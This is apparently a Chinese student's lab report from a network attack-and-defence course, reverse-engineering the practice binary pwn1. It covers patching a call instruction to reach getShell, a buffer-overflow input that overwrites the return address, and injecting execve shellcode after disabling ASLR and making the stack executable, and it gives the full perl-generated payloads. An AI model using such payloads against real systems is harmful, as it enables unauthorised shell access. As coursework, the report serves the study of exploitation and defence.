前言:实验中用到的知识

JE:条件转移指令,如果相等则跳转;

JNE:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转;

JMP:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出;

NOP:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令;

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

根据内容得出(在实验中我只保留了关键的三个部分,所以没放部分汇编指令的部分的截图)

JE 汇编指令的机器码是“”

objdump反汇编常用参数

objdump -d <file(s)> 将代码段反汇编

xxd命令

:%!xxd 回车后,该文件会以十六进制形式显示

:%!xxd -r  参数-r是指将当前的十六进制转换为二进制;

一:直接修改程序机器指令,改变程序执行流程

把老师给的pwn1放在了桌面并且重命名为20164325wxr,所以我需要  cd Desktop ;因为害怕会出错所以要备份 cp 20164325wxr  。

进行反汇编:使用命令  objdump -d | more

观察getshell,foo,main;

原理:main函数中的地址”80484b5“所对应的“call 8048491”这条指令是调用地址为”8048491“的foo函数,而对应指令为“e8 d7ffffff”;“e8”是跳转指令,如果按正常情况进行,会执行main函数的下一步,也就是“80484ba”地址的指令,所以按老师上课所讲内容,此时的EIP值就为“80484ba”。

在这里执行的是”call“指令,cpu就会转而执行 “EIP + d7ffffff”这个指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29就是8048491这个值。

所以只要修改d7ffffff为"getShell-80484ba"的补码,就能实现调用getShell,所以需要把d7ffffff变c3ffffff。

过程:
1. Vi  进行命令模式

2.  :%!xxd 将显示模式切换为十六进制

在底行模式输入/e8 d7定位需要修改的地方,中间加一个空格更好找。

3.选中修改为c3

输入 :%!xxd -r 将十六进制转换为原格式

使用 :wq 保存并退出

结果为:

4.  ./  得到shell提示符

二:通过构造输入参数,造成BOF攻击,改变程序执行流

原理:foo函数中存在漏洞,可以利用foo在读写字符串是的漏洞造成缓冲区溢出,达到调用shell的目的。覆盖原返回地址080484ba,覆盖的部分为getShell函数起始地址0804847d,在对其进行攻击。

过程:

1.我先备份一个文件名为201643251

2.使用gdb进行调试,运行可执行文件,输入:1111111122222222333333334444444455555555

输入 info r eip  查看eip寄存器的值,我记得与实验指导相同,是35353535确定是55555555部分覆盖了返回地址

(这里找eip寄存器的值的截图不见了)

3.进一步确定范围,同上输入1111111122222222333333334444444412345678

输入 info r eip  查看寄存器的值,因为得出的是34333231所以确定是1234部分覆盖了返回地址,并且是倒序

4.键盘不能直接输入十六进制,所以要先生成包括\x7d\x84\x04\x08的字符串文件

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > input

用 xxd input  十六进制显示文件

确认无误后,查看文件并通过管道将查看结果送入201643251中运行

三:注入Shellcode并执行

1. apt-get install execstack  先安装execstack

execstack -s   并设置堆栈可执行

execstack -q   查询是否可执行

more /proc/sys/kernel/randomize_va_space  查询是否关闭地址随机化,2为开启,0为关闭

echo " > /proc/sys/kernel/randomize_va_space  关闭地址随机化

2.注入shellcode

把输入的字串放入input_shellcode文件里

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

再输入 (cat input_shellcode;cat)| ./   注意只打一次空格

另外打开一个终端,输入 ps -ef | grep  来查看201643251的进程号

输入指令 attach  调试这个进程

使用指令 disassemble foo 设置断点

break *0x080484ae 在另外一个终端中按下回车。

通过  info r esp  查看esp寄存器,找到01020304,即返回地址,shellcode就在该地址之后,因此,如图,将\x4\x3\x2\x1置为\x60\xd3\xff\xff即可

四:实验总结

在这次实践中,通过三种方法改变了执行文件的执行流程,对应着三种不同的攻击思想;第一个是通过改地址来改变程序执行的流程,第二个是强行改变流程,第三个是注入shell代码攻击。

让我感受到了系统中存在很多漏洞,而什么是漏洞?漏洞有什么危害?我觉得漏洞就是存在的系统的缺点,就是能让外界有机可乘的缺点,开发者开发的时候会出现的一些想不到的地方,如果对这些地方进行攻击就会有相对的危害,而且我觉得漏洞是很常见的,有大漏洞也有小漏洞,但是只要是有漏洞的就是很致命的;关于漏洞的危害,漏洞出现就要及时的解决掉要不然就会发生很累恐怖的事情,比如黑客可以用过漏洞来监视你的生活,盗取你的文件;是你的系统瘫痪,对你进行勒索等等危害。

五:实验感想和收获

通过这次实验我真的学到了很多东西,本来在老师上课的时候讲的东西,对我来说还是一知半解,但是通过这次的实验,我对于这方面的知识就掌握的比较牢固了;这个实验我真的做了很长时间,不会的就会看实验指导和问同学,这个因为我的粗心所以重做了很多次,到最后一个攻击注入shellcode的时候在开启另外一个终端的时候,我按了两次回车,结果没有成功;我又做了了一遍才成功,这就说明做实验的时候一定要仔细,而且上课要好好听课,实验指导书步骤很清楚要仔细看!这次实验是第一次实验,我也是第一次接触博客,学到了实验外的很多应用,也有很多不足的地方,之后我会努力改进我的不足。

Exp1 PC平台逆向破解----20164325 王晓蕊的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

随机推荐

  1. Ubuntu---grep

    摘要:我们已经学过正则表达式了,所以现在开始学习 grep 也是水到渠成的事情. 简介:grep 是 Linux 中最常用的“文本处理工具”之一,grep 与 sed.awk 合称为 Linux 中的 ...

  2. python_1_基础知识

    数据类型: 整数 浮点数 字符串 布尔值:True/False 空值:None 变量 常量 int(整型):在Python3里不再有long类型了,全都是int -2**63-2**63-1即-922 ...

  3. 关于fftshift----将零频率的分量移到频谱的中心

    fftshift 作用:将零频点移到频谱的中间 用法: Y=fftshift(X) Y=fftshift(X,dim) 描述:fftshift移动零频点到频谱中间,重新排列fft,fft2和fftn的 ...

  4. ROC AUC

    1.什么是性能度量? 我们都知道机器学习要建模,但是对于模型性能的好坏(即模型的泛化能力),我们并不知道是怎样的,很可能这个模型就是一个差的模型,泛化能力弱,对测试集不能很好的预测或分类.那么如何知道 ...

  5. 【python路飞】编码 ascii码(256位 =1个字节)美国;unicode(万国码)中文 一共9万个 用4个字节表示这9万个子 17位就能表示

    8位一个字节  1024字节 1KB   1024KB 1MB ASCII码不能包含中文.创建了unicode,一个中文4个字节.UTF-8一个中文3个.GBK中国人用的只包含中文2个字节 升级 Un ...

  6. 51单片机学习笔记(清翔版)(13)——LED点阵、74HC595

    如图3,点阵屏分单色和彩色,点阵屏是由许多点组成的,在一个点上,只有一颗一种颜色的灯珠,这就是单色点阵屏,彩色的在一个点上有三颗灯珠,分别是RGB三原色. 图4你可能没看出来,那么大块黄色的就是点阵屏 ...

  7. .net framework , code first

    1. 创建一个控制台应用程序, 并添加引用 2 创建 一个类 public class New { [Key] public string NewId { get; set; } public str ...

  8. 面向对象的 __slots__

    优点: 1. __slots__ 能够减小内存的占用,限制对象只能有这几个属性,再加属性会报错 . 副作用: 1. 设置了__slots__之后,实例对象就没有__dict__了 2. __slots ...

  9. Taro 列表循环--点赞功能图片切换

    图片,未点击与点击 页面编写如下, 绑定我们的事件,继续: 附带注:Taro中不能使用 catchEvent 的方式阻止事件冒泡.你必须明确的使用 stopPropagation. 列表中点赞图片的切 ...

  10. Solidity-让合约地址 接受ETH的转账充值的 三种方式

    以太坊智能合约开发:让合约接受转账 在以太坊智能合约开发中,通常会有向合约地址进行转账的需求,那么有几种向合约地址进行转账的方式呢? 有三种方式: 部署合约时转账 调用合约提供的方法 直接向合约地址进 ...